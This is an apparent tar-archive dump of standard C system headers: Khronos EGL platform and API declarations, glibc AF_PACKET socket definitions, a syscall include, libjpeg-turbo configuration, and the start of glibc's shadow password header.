*EGLNativePixmapType; typedef void *EGLNativeWindowType; #elif defined(_WIN32) || defined(__VC32__) && !defined(__CYGWIN__) && !defined(__SCITECH_SNAP__) /* Win32 and WinCE */ #ifndef WIN32_LEAN_AND_MEAN #define WIN32_LEAN_AND_MEAN 1 #endif #include <windows.h> typedef HDC EGLNativeDisplayType; typedef HBITMAP EGLNativePixmapType; typedef HWND EGLNativeWindowType; #elif defined(__EMSCRIPTEN__) typedef int EGLNativeDisplayType; typedef int EGLNativePixmapType; typedef int EGLNativeWindowType; #elif defined(__WINSCW__) || defined(__SYMBIAN32__) /* Symbian */ typedef int EGLNativeDisplayType; typedef void *EGLNativePixmapType; typedef void *EGLNativeWindowType; #elif defined(WL_EGL_PLATFORM) typedef struct wl_display *EGLNativeDisplayType; typedef struct wl_egl_pixmap *EGLNativePixmapType; typedef struct wl_egl_window *EGLNativeWindowType; #elif defined(__GBM__) typedef struct gbm_device *EGLNativeDisplayType; typedef struct gbm_bo *EGLNativePixmapType; typedef void *EGLNativeWindowType; #elif defined(__ANDROID__) || defined(ANDROID) struct ANativeWindow; struct egl_native_pixmap_t; typedef void* EGLNativeDisplayType; typedef struct egl_native_pixmap_t* EGLNativePixmapType; typedef struct ANativeWindow* EGLNativeWindowType; #elif defined(USE_OZONE) typedef intptr_t EGLNativeDisplayType; typedef intptr_t EGLNativePixmapType; typedef intptr_t EGLNativeWindowType; #elif defined(USE_X11) /* X11 (tentative) */ #include <X11/Xlib.h> #include <X11/Xutil.h> typedef Display *EGLNativeDisplayType; typedef Pixmap EGLNativePixmapType; typedef Window EGLNativeWindowType; #elif defined(__unix__) typedef void *EGLNativeDisplayType; typedef khronos_uintptr_t EGLNativePixmapType; typedef khronos_uintptr_t EGLNativeWindowType; #elif defined(__APPLE__) typedef int EGLNativeDisplayType; typedef void *EGLNativePixmapType; typedef void *EGLNativeWindowType; #elif defined(__HAIKU__) #include <kernel/image.h> typedef void *EGLNativeDisplayType; typedef khronos_uintptr_t EGLNativePixmapType; typedef khronos_uintptr_t EGLNativeWindowType; #elif defined(__Fuchsia__) typedef void *EGLNativeDisplayType; typedef khronos_uintptr_t EGLNativePixmapType; typedef khronos_uintptr_t EGLNativeWindowType; #else #error "Platform not recognized" #endif /* EGL 1.2 types, renamed for consistency in EGL 1.3 */ typedef EGLNativeDisplayType NativeDisplayType; typedef EGLNativePixmapType NativePixmapType; typedef EGLNativeWindowType NativeWindowType; /* Define EGLint. This must be a signed integral type large enough to contain * all legal attribute names and values passed into and out of EGL, whether * their type is boolean, bitmask, enumerant (symbolic constant), integer, * handle, or other. While in general a 32-bit integer will suffice, if * handles are 64 bit types, then EGLint should be defined as a signed 64-bit * integer type. */ typedef khronos_int32_t EGLint; /* C++ / C typecast macros for special EGL handle values */ #if defined(__cplusplus) #define EGL_CAST(type, value) (static_cast<type>(value)) #else #define EGL_CAST(type, value) ((type) (value)) #endif #endif /* __eglplatform_h */ EGL/egl.h 0000644 00000045526 15246445047 0006122 0 ustar 00 #ifndef __egl_h_ #define __egl_h_ 1 #ifdef __cplusplus extern "C" { #endif /* ** Copyright 2013-2020 The Khronos Group Inc. ** SPDX-License-Identifier: Apache-2.0 ** ** This header is generated from the Khronos EGL XML API Registry. ** The current version of the Registry, generator scripts ** used to make the header, and the header can be found at ** http://www.khronos.org/registry/egl ** ** Khronos $Git commit SHA1: 9581d004ff $ on $Git commit date: 2021-04-06 15:53:59 +0200 $ */ #include <EGL/eglplatform.h> #ifndef EGL_EGL_PROTOTYPES #define EGL_EGL_PROTOTYPES 1 #endif /* Generated on date 20210802 */ /* Generated C header for: * API: egl * Versions considered: .* * Versions emitted: .* * Default extensions included: None * Additional extensions included: _nomatch_^ * Extensions removed: _nomatch_^ */ #ifndef EGL_VERSION_1_0 #define EGL_VERSION_1_0 1 typedef unsigned int EGLBoolean; typedef void *EGLDisplay; #include <KHR/khrplatform.h> #include <EGL/eglplatform.h> typedef void *EGLConfig; typedef void *EGLSurface; typedef void *EGLContext; typedef void (*__eglMustCastToProperFunctionPointerType)(void); #define EGL_ALPHA_SIZE 0x3021 #define EGL_BAD_ACCESS 0x3002 #define EGL_BAD_ALLOC 0x3003 #define EGL_BAD_ATTRIBUTE 0x3004 #define EGL_BAD_CONFIG 0x3005 #define EGL_BAD_CONTEXT 0x3006 #define EGL_BAD_CURRENT_SURFACE 0x3007 #define EGL_BAD_DISPLAY 0x3008 #define EGL_BAD_MATCH 0x3009 #define EGL_BAD_NATIVE_PIXMAP 0x300A #define EGL_BAD_NATIVE_WINDOW 0x300B #define EGL_BAD_PARAMETER 0x300C #define EGL_BAD_SURFACE 0x300D #define EGL_BLUE_SIZE 0x3022 #define EGL_BUFFER_SIZE 0x3020 #define EGL_CONFIG_CAVEAT 0x3027 #define EGL_CONFIG_ID 0x3028 #define EGL_CORE_NATIVE_ENGINE 0x305B #define EGL_DEPTH_SIZE 0x3025 #define EGL_DONT_CARE EGL_CAST(EGLint,-1) #define EGL_DRAW 0x3059 #define EGL_EXTENSIONS 0x3055 #define EGL_FALSE 0 #define EGL_GREEN_SIZE 0x3023 #define EGL_HEIGHT 0x3056 #define EGL_LARGEST_PBUFFER 0x3058 #define EGL_LEVEL 0x3029 #define EGL_MAX_PBUFFER_HEIGHT 0x302A #define EGL_MAX_PBUFFER_PIXELS 0x302B #define EGL_MAX_PBUFFER_WIDTH 0x302C #define EGL_NATIVE_RENDERABLE 0x302D #define EGL_NATIVE_VISUAL_ID 0x302E #define EGL_NATIVE_VISUAL_TYPE 0x302F #define EGL_NONE 0x3038 #define EGL_NON_CONFORMANT_CONFIG 0x3051 #define EGL_NOT_INITIALIZED 0x3001 #define EGL_NO_CONTEXT EGL_CAST(EGLContext,0) #define EGL_NO_DISPLAY EGL_CAST(EGLDisplay,0) #define EGL_NO_SURFACE EGL_CAST(EGLSurface,0) #define EGL_PBUFFER_BIT 0x0001 #define EGL_PIXMAP_BIT 0x0002 #define EGL_READ 0x305A #define EGL_RED_SIZE 0x3024 #define EGL_SAMPLES 0x3031 #define EGL_SAMPLE_BUFFERS 0x3032 #define EGL_SLOW_CONFIG 0x3050 #define EGL_STENCIL_SIZE 0x3026 #define EGL_SUCCESS 0x3000 #define EGL_SURFACE_TYPE 0x3033 #define EGL_TRANSPARENT_BLUE_VALUE 0x3035 #define EGL_TRANSPARENT_GREEN_VALUE 0x3036 #define EGL_TRANSPARENT_RED_VALUE 0x3037 #define EGL_TRANSPARENT_RGB 0x3052 #define EGL_TRANSPARENT_TYPE 0x3034 #define EGL_TRUE 1 #define EGL_VENDOR 0x3053 #define EGL_VERSION 0x3054 #define EGL_WIDTH 0x3057 #define EGL_WINDOW_BIT 0x0004 typedef EGLBoolean (EGLAPIENTRYP PFNEGLCHOOSECONFIGPROC) (EGLDisplay dpy, const EGLint *attrib_list, EGLConfig *configs, EGLint config_size, EGLint *num_config); typedef EGLBoolean (EGLAPIENTRYP PFNEGLCOPYBUFFERSPROC) (EGLDisplay dpy, EGLSurface surface, EGLNativePixmapType target); typedef EGLContext (EGLAPIENTRYP PFNEGLCREATECONTEXTPROC) (EGLDisplay dpy, EGLConfig config, EGLContext share_context, const EGLint *attrib_list); typedef EGLSurface (EGLAPIENTRYP PFNEGLCREATEPBUFFERSURFACEPROC) (EGLDisplay dpy, EGLConfig config, const EGLint *attrib_list); typedef EGLSurface (EGLAPIENTRYP PFNEGLCREATEPIXMAPSURFACEPROC) (EGLDisplay dpy, EGLConfig config, EGLNativePixmapType pixmap, const EGLint *attrib_list); typedef EGLSurface (EGLAPIENTRYP PFNEGLCREATEWINDOWSURFACEPROC) (EGLDisplay dpy, EGLConfig config, EGLNativeWindowType win, const EGLint *attrib_list); typedef EGLBoolean (EGLAPIENTRYP PFNEGLDESTROYCONTEXTPROC) (EGLDisplay dpy, EGLContext ctx); typedef EGLBoolean (EGLAPIENTRYP PFNEGLDESTROYSURFACEPROC) (EGLDisplay dpy, EGLSurface surface); typedef EGLBoolean (EGLAPIENTRYP PFNEGLGETCONFIGATTRIBPROC) (EGLDisplay dpy, EGLConfig config, EGLint attribute, EGLint *value); typedef EGLBoolean (EGLAPIENTRYP PFNEGLGETCONFIGSPROC) (EGLDisplay dpy, EGLConfig *configs, EGLint config_size, EGLint *num_config); typedef EGLDisplay (EGLAPIENTRYP PFNEGLGETCURRENTDISPLAYPROC) (void); typedef EGLSurface (EGLAPIENTRYP PFNEGLGETCURRENTSURFACEPROC) (EGLint readdraw); typedef EGLDisplay (EGLAPIENTRYP PFNEGLGETDISPLAYPROC) (EGLNativeDisplayType display_id); typedef EGLint (EGLAPIENTRYP PFNEGLGETERRORPROC) (void); typedef __eglMustCastToProperFunctionPointerType (EGLAPIENTRYP PFNEGLGETPROCADDRESSPROC) (const char *procname); typedef EGLBoolean (EGLAPIENTRYP PFNEGLINITIALIZEPROC) (EGLDisplay dpy, EGLint *major, EGLint *minor); typedef EGLBoolean (EGLAPIENTRYP PFNEGLMAKECURRENTPROC) (EGLDisplay dpy, EGLSurface draw, EGLSurface read, EGLContext ctx); typedef EGLBoolean (EGLAPIENTRYP PFNEGLQUERYCONTEXTPROC) (EGLDisplay dpy, EGLContext ctx, EGLint attribute, EGLint *value); typedef const char *(EGLAPIENTRYP PFNEGLQUERYSTRINGPROC) (EGLDisplay dpy, EGLint name); typedef EGLBoolean (EGLAPIENTRYP PFNEGLQUERYSURFACEPROC) (EGLDisplay dpy, EGLSurface surface, EGLint attribute, EGLint *value); typedef EGLBoolean (EGLAPIENTRYP PFNEGLSWAPBUFFERSPROC) (EGLDisplay dpy, EGLSurface surface); typedef EGLBoolean (EGLAPIENTRYP PFNEGLTERMINATEPROC) (EGLDisplay dpy); typedef EGLBoolean (EGLAPIENTRYP PFNEGLWAITGLPROC) (void); typedef EGLBoolean (EGLAPIENTRYP PFNEGLWAITNATIVEPROC) (EGLint engine); #if EGL_EGL_PROTOTYPES EGLAPI EGLBoolean EGLAPIENTRY eglChooseConfig (EGLDisplay dpy, const EGLint *attrib_list, EGLConfig *configs, EGLint config_size, EGLint *num_config); EGLAPI EGLBoolean EGLAPIENTRY eglCopyBuffers (EGLDisplay dpy, EGLSurface surface, EGLNativePixmapType target); EGLAPI EGLContext EGLAPIENTRY eglCreateContext (EGLDisplay dpy, EGLConfig config, EGLContext share_context, const EGLint *attrib_list); EGLAPI EGLSurface EGLAPIENTRY eglCreatePbufferSurface (EGLDisplay dpy, EGLConfig config, const EGLint *attrib_list); EGLAPI EGLSurface EGLAPIENTRY eglCreatePixmapSurface (EGLDisplay dpy, EGLConfig config, EGLNativePixmapType pixmap, const EGLint *attrib_list); EGLAPI EGLSurface EGLAPIENTRY eglCreateWindowSurface (EGLDisplay dpy, EGLConfig config, EGLNativeWindowType win, const EGLint *attrib_list); EGLAPI EGLBoolean EGLAPIENTRY eglDestroyContext (EGLDisplay dpy, EGLContext ctx); EGLAPI EGLBoolean EGLAPIENTRY eglDestroySurface (EGLDisplay dpy, EGLSurface surface); EGLAPI EGLBoolean EGLAPIENTRY eglGetConfigAttrib (EGLDisplay dpy, EGLConfig config, EGLint attribute, EGLint *value); EGLAPI EGLBoolean EGLAPIENTRY eglGetConfigs (EGLDisplay dpy, EGLConfig *configs, EGLint config_size, EGLint *num_config); EGLAPI EGLDisplay EGLAPIENTRY eglGetCurrentDisplay (void); EGLAPI EGLSurface EGLAPIENTRY eglGetCurrentSurface (EGLint readdraw); EGLAPI EGLDisplay EGLAPIENTRY eglGetDisplay (EGLNativeDisplayType display_id); EGLAPI EGLint EGLAPIENTRY eglGetError (void); EGLAPI __eglMustCastToProperFunctionPointerType EGLAPIENTRY eglGetProcAddress (const char *procname); EGLAPI EGLBoolean EGLAPIENTRY eglInitialize (EGLDisplay dpy, EGLint *major, EGLint *minor); EGLAPI EGLBoolean EGLAPIENTRY eglMakeCurrent (EGLDisplay dpy, EGLSurface draw, EGLSurface read, EGLContext ctx); EGLAPI EGLBoolean EGLAPIENTRY eglQueryContext (EGLDisplay dpy, EGLContext ctx, EGLint attribute, EGLint *value); EGLAPI const char *EGLAPIENTRY eglQueryString (EGLDisplay dpy, EGLint name); EGLAPI EGLBoolean EGLAPIENTRY eglQuerySurface (EGLDisplay dpy, EGLSurface surface, EGLint attribute, EGLint *value); EGLAPI EGLBoolean EGLAPIENTRY eglSwapBuffers (EGLDisplay dpy, EGLSurface surface); EGLAPI EGLBoolean EGLAPIENTRY eglTerminate (EGLDisplay dpy); EGLAPI EGLBoolean EGLAPIENTRY eglWaitGL (void); EGLAPI EGLBoolean EGLAPIENTRY eglWaitNative (EGLint engine); #endif #endif /* EGL_VERSION_1_0 */ #ifndef EGL_VERSION_1_1 #define EGL_VERSION_1_1 1 #define EGL_BACK_BUFFER 0x3084 #define EGL_BIND_TO_TEXTURE_RGB 0x3039 #define EGL_BIND_TO_TEXTURE_RGBA 0x303A #define EGL_CONTEXT_LOST 0x300E #define EGL_MIN_SWAP_INTERVAL 0x303B #define EGL_MAX_SWAP_INTERVAL 0x303C #define EGL_MIPMAP_TEXTURE 0x3082 #define EGL_MIPMAP_LEVEL 0x3083 #define EGL_NO_TEXTURE 0x305C #define EGL_TEXTURE_2D 0x305F #define EGL_TEXTURE_FORMAT 0x3080 #define EGL_TEXTURE_RGB 0x305D #define EGL_TEXTURE_RGBA 0x305E #define EGL_TEXTURE_TARGET 0x3081 typedef EGLBoolean (EGLAPIENTRYP PFNEGLBINDTEXIMAGEPROC) (EGLDisplay dpy, EGLSurface surface, EGLint buffer); typedef EGLBoolean (EGLAPIENTRYP PFNEGLRELEASETEXIMAGEPROC) (EGLDisplay dpy, EGLSurface surface, EGLint buffer); typedef EGLBoolean (EGLAPIENTRYP PFNEGLSURFACEATTRIBPROC) (EGLDisplay dpy, EGLSurface surface, EGLint attribute, EGLint value); typedef EGLBoolean (EGLAPIENTRYP PFNEGLSWAPINTERVALPROC) (EGLDisplay dpy, EGLint interval); #if EGL_EGL_PROTOTYPES EGLAPI EGLBoolean EGLAPIENTRY eglBindTexImage (EGLDisplay dpy, EGLSurface surface, EGLint buffer); EGLAPI EGLBoolean EGLAPIENTRY eglReleaseTexImage (EGLDisplay dpy, EGLSurface surface, EGLint buffer); EGLAPI EGLBoolean EGLAPIENTRY eglSurfaceAttrib (EGLDisplay dpy, EGLSurface surface, EGLint attribute, EGLint value); EGLAPI EGLBoolean EGLAPIENTRY eglSwapInterval (EGLDisplay dpy, EGLint interval); #endif #endif /* EGL_VERSION_1_1 */ #ifndef EGL_VERSION_1_2 #define EGL_VERSION_1_2 1 typedef unsigned int EGLenum; typedef void *EGLClientBuffer; #define EGL_ALPHA_FORMAT 0x3088 #define EGL_ALPHA_FORMAT_NONPRE 0x308B #define EGL_ALPHA_FORMAT_PRE 0x308C #define EGL_ALPHA_MASK_SIZE 0x303E #define EGL_BUFFER_PRESERVED 0x3094 #define EGL_BUFFER_DESTROYED 0x3095 #define EGL_CLIENT_APIS 0x308D #define EGL_COLORSPACE 0x3087 #define EGL_COLORSPACE_sRGB 0x3089 #define EGL_COLORSPACE_LINEAR 0x308A #define EGL_COLOR_BUFFER_TYPE 0x303F #define EGL_CONTEXT_CLIENT_TYPE 0x3097 #define EGL_DISPLAY_SCALING 10000 #define EGL_HORIZONTAL_RESOLUTION 0x3090 #define EGL_LUMINANCE_BUFFER 0x308F #define EGL_LUMINANCE_SIZE 0x303D #define EGL_OPENGL_ES_BIT 0x0001 #define EGL_OPENVG_BIT 0x0002 #define EGL_OPENGL_ES_API 0x30A0 #define EGL_OPENVG_API 0x30A1 #define EGL_OPENVG_IMAGE 0x3096 #define EGL_PIXEL_ASPECT_RATIO 0x3092 #define EGL_RENDERABLE_TYPE 0x3040 #define EGL_RENDER_BUFFER 0x3086 #define EGL_RGB_BUFFER 0x308E #define EGL_SINGLE_BUFFER 0x3085 #define EGL_SWAP_BEHAVIOR 0x3093 #define EGL_UNKNOWN EGL_CAST(EGLint,-1) #define EGL_VERTICAL_RESOLUTION 0x3091 typedef EGLBoolean (EGLAPIENTRYP PFNEGLBINDAPIPROC) (EGLenum api); typedef EGLenum (EGLAPIENTRYP PFNEGLQUERYAPIPROC) (void); typedef EGLSurface (EGLAPIENTRYP PFNEGLCREATEPBUFFERFROMCLIENTBUFFERPROC) (EGLDisplay dpy, EGLenum buftype, EGLClientBuffer buffer, EGLConfig config, const EGLint *attrib_list); typedef EGLBoolean (EGLAPIENTRYP PFNEGLRELEASETHREADPROC) (void); typedef EGLBoolean (EGLAPIENTRYP PFNEGLWAITCLIENTPROC) (void); #if EGL_EGL_PROTOTYPES EGLAPI EGLBoolean EGLAPIENTRY eglBindAPI (EGLenum api); EGLAPI EGLenum EGLAPIENTRY eglQueryAPI (void); EGLAPI EGLSurface EGLAPIENTRY eglCreatePbufferFromClientBuffer (EGLDisplay dpy, EGLenum buftype, EGLClientBuffer buffer, EGLConfig config, const EGLint *attrib_list); EGLAPI EGLBoolean EGLAPIENTRY eglReleaseThread (void); EGLAPI EGLBoolean EGLAPIENTRY eglWaitClient (void); #endif #endif /* EGL_VERSION_1_2 */ #ifndef EGL_VERSION_1_3 #define EGL_VERSION_1_3 1 #define EGL_CONFORMANT 0x3042 #define EGL_CONTEXT_CLIENT_VERSION 0x3098 #define EGL_MATCH_NATIVE_PIXMAP 0x3041 #define EGL_OPENGL_ES2_BIT 0x0004 #define EGL_VG_ALPHA_FORMAT 0x3088 #define EGL_VG_ALPHA_FORMAT_NONPRE 0x308B #define EGL_VG_ALPHA_FORMAT_PRE 0x308C #define EGL_VG_ALPHA_FORMAT_PRE_BIT 0x0040 #define EGL_VG_COLORSPACE 0x3087 #define EGL_VG_COLORSPACE_sRGB 0x3089 #define EGL_VG_COLORSPACE_LINEAR 0x308A #define EGL_VG_COLORSPACE_LINEAR_BIT 0x0020 #endif /* EGL_VERSION_1_3 */ #ifndef EGL_VERSION_1_4 #define EGL_VERSION_1_4 1 #define EGL_DEFAULT_DISPLAY EGL_CAST(EGLNativeDisplayType,0) #define EGL_MULTISAMPLE_RESOLVE_BOX_BIT 0x0200 #define EGL_MULTISAMPLE_RESOLVE 0x3099 #define EGL_MULTISAMPLE_RESOLVE_DEFAULT 0x309A #define EGL_MULTISAMPLE_RESOLVE_BOX 0x309B #define EGL_OPENGL_API 0x30A2 #define EGL_OPENGL_BIT 0x0008 #define EGL_SWAP_BEHAVIOR_PRESERVED_BIT 0x0400 typedef EGLContext (EGLAPIENTRYP PFNEGLGETCURRENTCONTEXTPROC) (void); #if EGL_EGL_PROTOTYPES EGLAPI EGLContext EGLAPIENTRY eglGetCurrentContext (void); #endif #endif /* EGL_VERSION_1_4 */ #ifndef EGL_VERSION_1_5 #define EGL_VERSION_1_5 1 typedef void *EGLSync; typedef intptr_t EGLAttrib; typedef khronos_utime_nanoseconds_t EGLTime; typedef void *EGLImage; #define EGL_CONTEXT_MAJOR_VERSION 0x3098 #define EGL_CONTEXT_MINOR_VERSION 0x30FB #define EGL_CONTEXT_OPENGL_PROFILE_MASK 0x30FD #define EGL_CONTEXT_OPENGL_RESET_NOTIFICATION_STRATEGY 0x31BD #define EGL_NO_RESET_NOTIFICATION 0x31BE #define EGL_LOSE_CONTEXT_ON_RESET 0x31BF #define EGL_CONTEXT_OPENGL_CORE_PROFILE_BIT 0x00000001 #define EGL_CONTEXT_OPENGL_COMPATIBILITY_PROFILE_BIT 0x00000002 #define EGL_CONTEXT_OPENGL_DEBUG 0x31B0 #define EGL_CONTEXT_OPENGL_FORWARD_COMPATIBLE 0x31B1 #define EGL_CONTEXT_OPENGL_ROBUST_ACCESS 0x31B2 #define EGL_OPENGL_ES3_BIT 0x00000040 #define EGL_CL_EVENT_HANDLE 0x309C #define EGL_SYNC_CL_EVENT 0x30FE #define EGL_SYNC_CL_EVENT_COMPLETE 0x30FF #define EGL_SYNC_PRIOR_COMMANDS_COMPLETE 0x30F0 #define EGL_SYNC_TYPE 0x30F7 #define EGL_SYNC_STATUS 0x30F1 #define EGL_SYNC_CONDITION 0x30F8 #define EGL_SIGNALED 0x30F2 #define EGL_UNSIGNALED 0x30F3 #define EGL_SYNC_FLUSH_COMMANDS_BIT 0x0001 #define EGL_FOREVER 0xFFFFFFFFFFFFFFFFull #define EGL_TIMEOUT_EXPIRED 0x30F5 #define EGL_CONDITION_SATISFIED 0x30F6 #define EGL_NO_SYNC EGL_CAST(EGLSync,0) #define EGL_SYNC_FENCE 0x30F9 #define EGL_GL_COLORSPACE 0x309D #define EGL_GL_COLORSPACE_SRGB 0x3089 #define EGL_GL_COLORSPACE_LINEAR 0x308A #define EGL_GL_RENDERBUFFER 0x30B9 #define EGL_GL_TEXTURE_2D 0x30B1 #define EGL_GL_TEXTURE_LEVEL 0x30BC #define EGL_GL_TEXTURE_3D 0x30B2 #define EGL_GL_TEXTURE_ZOFFSET 0x30BD #define EGL_GL_TEXTURE_CUBE_MAP_POSITIVE_X 0x30B3 #define EGL_GL_TEXTURE_CUBE_MAP_NEGATIVE_X 0x30B4 #define EGL_GL_TEXTURE_CUBE_MAP_POSITIVE_Y 0x30B5 #define EGL_GL_TEXTURE_CUBE_MAP_NEGATIVE_Y 0x30B6 #define EGL_GL_TEXTURE_CUBE_MAP_POSITIVE_Z 0x30B7 #define EGL_GL_TEXTURE_CUBE_MAP_NEGATIVE_Z 0x30B8 #define EGL_IMAGE_PRESERVED 0x30D2 #define EGL_NO_IMAGE EGL_CAST(EGLImage,0) typedef EGLSync (EGLAPIENTRYP PFNEGLCREATESYNCPROC) (EGLDisplay dpy, EGLenum type, const EGLAttrib *attrib_list); typedef EGLBoolean (EGLAPIENTRYP PFNEGLDESTROYSYNCPROC) (EGLDisplay dpy, EGLSync sync); typedef EGLint (EGLAPIENTRYP PFNEGLCLIENTWAITSYNCPROC) (EGLDisplay dpy, EGLSync sync, EGLint flags, EGLTime timeout); typedef EGLBoolean (EGLAPIENTRYP PFNEGLGETSYNCATTRIBPROC) (EGLDisplay dpy, EGLSync sync, EGLint attribute, EGLAttrib *value); typedef EGLImage (EGLAPIENTRYP PFNEGLCREATEIMAGEPROC) (EGLDisplay dpy, EGLContext ctx, EGLenum target, EGLClientBuffer buffer, const EGLAttrib *attrib_list); typedef EGLBoolean (EGLAPIENTRYP PFNEGLDESTROYIMAGEPROC) (EGLDisplay dpy, EGLImage image); typedef EGLDisplay (EGLAPIENTRYP PFNEGLGETPLATFORMDISPLAYPROC) (EGLenum platform, void *native_display, const EGLAttrib *attrib_list); typedef EGLSurface (EGLAPIENTRYP PFNEGLCREATEPLATFORMWINDOWSURFACEPROC) (EGLDisplay dpy, EGLConfig config, void *native_window, const EGLAttrib *attrib_list); typedef EGLSurface (EGLAPIENTRYP PFNEGLCREATEPLATFORMPIXMAPSURFACEPROC) (EGLDisplay dpy, EGLConfig config, void *native_pixmap, const EGLAttrib *attrib_list); typedef EGLBoolean (EGLAPIENTRYP PFNEGLWAITSYNCPROC) (EGLDisplay dpy, EGLSync sync, EGLint flags); #if EGL_EGL_PROTOTYPES EGLAPI EGLSync EGLAPIENTRY eglCreateSync (EGLDisplay dpy, EGLenum type, const EGLAttrib *attrib_list); EGLAPI EGLBoolean EGLAPIENTRY eglDestroySync (EGLDisplay dpy, EGLSync sync); EGLAPI EGLint EGLAPIENTRY eglClientWaitSync (EGLDisplay dpy, EGLSync sync, EGLint flags, EGLTime timeout); EGLAPI EGLBoolean EGLAPIENTRY eglGetSyncAttrib (EGLDisplay dpy, EGLSync sync, EGLint attribute, EGLAttrib *value); EGLAPI EGLImage EGLAPIENTRY eglCreateImage (EGLDisplay dpy, EGLContext ctx, EGLenum target, EGLClientBuffer buffer, const EGLAttrib *attrib_list); EGLAPI EGLBoolean EGLAPIENTRY eglDestroyImage (EGLDisplay dpy, EGLImage image); EGLAPI EGLDisplay EGLAPIENTRY eglGetPlatformDisplay (EGLenum platform, void *native_display, const EGLAttrib *attrib_list); EGLAPI EGLSurface EGLAPIENTRY eglCreatePlatformWindowSurface (EGLDisplay dpy, EGLConfig config, void *native_window, const EGLAttrib *attrib_list); EGLAPI EGLSurface EGLAPIENTRY eglCreatePlatformPixmapSurface (EGLDisplay dpy, EGLConfig config, void *native_pixmap, const EGLAttrib *attrib_list); EGLAPI EGLBoolean EGLAPIENTRY eglWaitSync (EGLDisplay dpy, EGLSync sync, EGLint flags); #endif #endif /* EGL_VERSION_1_5 */ #ifdef __cplusplus } #endif #endif netpacket/packet.h 0000644 00000004542 15246445047 0010162 0 ustar 00 /* Definitions for use with Linux AF_PACKET sockets. Copyright (C) 1998-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef __NETPACKET_PACKET_H #define __NETPACKET_PACKET_H 1 struct sockaddr_ll { unsigned short int sll_family; unsigned short int sll_protocol; int sll_ifindex; unsigned short int sll_hatype; unsigned char sll_pkttype; unsigned char sll_halen; unsigned char sll_addr[8]; }; /* Packet types. */ #define PACKET_HOST 0 /* To us. */ #define PACKET_BROADCAST 1 /* To all. */ #define PACKET_MULTICAST 2 /* To group. */ #define PACKET_OTHERHOST 3 /* To someone else. */ #define PACKET_OUTGOING 4 /* Originated by us . */ #define PACKET_LOOPBACK 5 #define PACKET_FASTROUTE 6 /* Packet socket options. */ #define PACKET_ADD_MEMBERSHIP 1 #define PACKET_DROP_MEMBERSHIP 2 #define PACKET_RECV_OUTPUT 3 #define PACKET_RX_RING 5 #define PACKET_STATISTICS 6 #define PACKET_COPY_THRESH 7 #define PACKET_AUXDATA 8 #define PACKET_ORIGDEV 9 #define PACKET_VERSION 10 #define PACKET_HDRLEN 11 #define PACKET_RESERVE 12 #define PACKET_TX_RING 13 #define PACKET_LOSS 14 #define PACKET_VNET_HDR 15 #define PACKET_TX_TIMESTAMP 16 #define PACKET_TIMESTAMP 17 #define PACKET_FANOUT 18 #define PACKET_TX_HAS_OFF 19 #define PACKET_QDISC_BYPASS 20 #define PACKET_ROLLOVER_STATS 21 #define PACKET_FANOUT_DATA 22 struct packet_mreq { int mr_ifindex; unsigned short int mr_type; unsigned short int mr_alen; unsigned char mr_address[8]; }; #define PACKET_MR_MULTICAST 0 #define PACKET_MR_PROMISC 1 #define PACKET_MR_ALLMULTI 2 #define PACKET_MR_UNICAST 3 #endif /* netpacket/packet.h */ syscall.h 0000644 00000000031 15246445047 0006374 0 ustar 00 #include <sys/syscall.h> jconfig-64.h 0000644 00000004261 15246445047 0006601 0 ustar 00 /* jconfig.h. Generated from jconfig.h.in by configure. */ /* Version ID for the JPEG library. * Might be useful for tests like "#if JPEG_LIB_VERSION >= 60". */ #define JPEG_LIB_VERSION 62 /* libjpeg-turbo version */ #define LIBJPEG_TURBO_VERSION 1.5.3 /* libjpeg-turbo version in integer form */ #define LIBJPEG_TURBO_VERSION_NUMBER 1005003 /* Support arithmetic encoding */ #define C_ARITH_CODING_SUPPORTED 1 /* Support arithmetic decoding */ #define D_ARITH_CODING_SUPPORTED 1 /* * Define BITS_IN_JSAMPLE as either * 8 for 8-bit sample values (the usual setting) * 12 for 12-bit sample values * Only 8 and 12 are legal data precisions for lossy JPEG according to the * JPEG standard, and the IJG code does not support anything else! * We do not support run-time selection of data precision, sorry. */ #define BITS_IN_JSAMPLE 8 /* use 8 or 12 */ /* Define to 1 if you have the <locale.h> header file. */ #define HAVE_LOCALE_H 1 /* Define to 1 if you have the <stddef.h> header file. */ #define HAVE_STDDEF_H 1 /* Define to 1 if you have the <stdlib.h> header file. */ #define HAVE_STDLIB_H 1 /* Define to 1 if the system has the type `unsigned char'. */ #define HAVE_UNSIGNED_CHAR 1 /* Define to 1 if the system has the type `unsigned short'. */ #define HAVE_UNSIGNED_SHORT 1 /* Compiler does not support pointers to undefined structures. */ /* #undef INCOMPLETE_TYPES_BROKEN */ /* Support in-memory source/destination managers */ #define MEM_SRCDST_SUPPORTED 1 /* Define if you have BSD-like bzero and bcopy in <strings.h> rather than memset/memcpy in <string.h>. */ /* #undef NEED_BSD_STRINGS */ /* Define if you need to include <sys/types.h> to get size_t. */ #define NEED_SYS_TYPES_H 1 /* Define if your (broken) compiler shifts signed values as if they were unsigned. */ /* #undef RIGHT_SHIFT_IS_UNSIGNED */ /* Use accelerated SIMD routines. */ #define WITH_SIMD 1 /* Define to 1 if type `char' is unsigned and you are not using gcc. */ #ifndef __CHAR_UNSIGNED__ /* # undef __CHAR_UNSIGNED__ */ #endif /* Define to empty if `const' does not conform to ANSI C. */ /* #undef const */ /* Define to `unsigned int' if <sys/types.h> does not define. */ /* #undef size_t */ shadow.h 0000644 00000012537 15246445047 0006225 0 ustar 00 /* Copyright (C) 1996-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ /* Declaration of types and functions for "shadow" storage of hashed passphrases. The shadow database is like the user database, but is only accessible with special privileges, so that malicious users cannot retrieve everyone else's hashed passphrase to brute-force at their convenience. */ #ifndef _SHADOW_H 